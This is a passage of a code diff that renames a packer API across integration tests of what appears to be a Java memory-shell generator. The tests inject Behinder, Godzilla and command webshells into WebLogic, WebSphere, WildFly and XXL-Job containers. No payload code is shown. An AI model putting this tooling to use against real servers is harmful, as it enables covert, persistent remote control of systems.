-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Base64),
-                arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Base64),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Base64),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Base64),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Base64),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Base64),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Base64),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Base64),
+                arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, WebLogicShell.AGENT_SERVLET_CONTEXT, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -65,7 +65,7 @@ public class WebLogic14110ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere700ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.WebSphereShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -45,18 +45,18 @@ public class WebSphere700ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -69,7 +69,7 @@ public class WebSphere700ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere855ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.WebSphereShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -45,18 +45,18 @@ public class WebSphere855ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar)
 
         );
     }
@@ -70,7 +70,7 @@ public class WebSphere855ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/websphere/WebSphere905ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.WebSphereShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -45,18 +45,18 @@ public class WebSphere905ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, WebSphereShell.AGENT_FILTER_MANAGER, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -68,7 +68,7 @@ public class WebSphere905ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.WebSphere, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.UndertowShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -43,18 +43,18 @@ public class Wildfly18ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -66,7 +66,7 @@ public class Wildfly18ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.UndertowShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -43,18 +43,18 @@ public class Wildfly23ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -66,7 +66,7 @@ public class Wildfly23ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly30ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.UndertowShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -43,18 +43,18 @@ public class Wildfly30ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -66,7 +66,7 @@ public class Wildfly30ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V17, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.UndertowShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -46,27 +46,27 @@ public class Wildfly9ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.ScriptEngine),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
+                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar)
         );
     }
 
@@ -79,7 +79,7 @@ public class Wildfly9ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob220ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.xxljob;
 import com.reajason.javaweb.memshell.XxlJobShell;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -39,8 +39,8 @@ public class XxlJob220ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob),
-                arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.XxlJob)
+                arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packers.XxlJob),
+                arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Godzilla, Packers.XxlJob)
         );
     }
 
@@ -53,7 +53,7 @@ public class XxlJob220ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
     }
 

integration-test/src/test/java/com/reajason/javaweb/integration/xxljob/XxlJob230ContainerTest.java

@@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.xxljob;
 import com.reajason.javaweb.memshell.XxlJobShell;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -39,8 +39,8 @@ public class XxlJob230ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, XxlJobShell.NETTY_HANDLER, ShellTool.Command, Packer.INSTANCE.XxlJob),
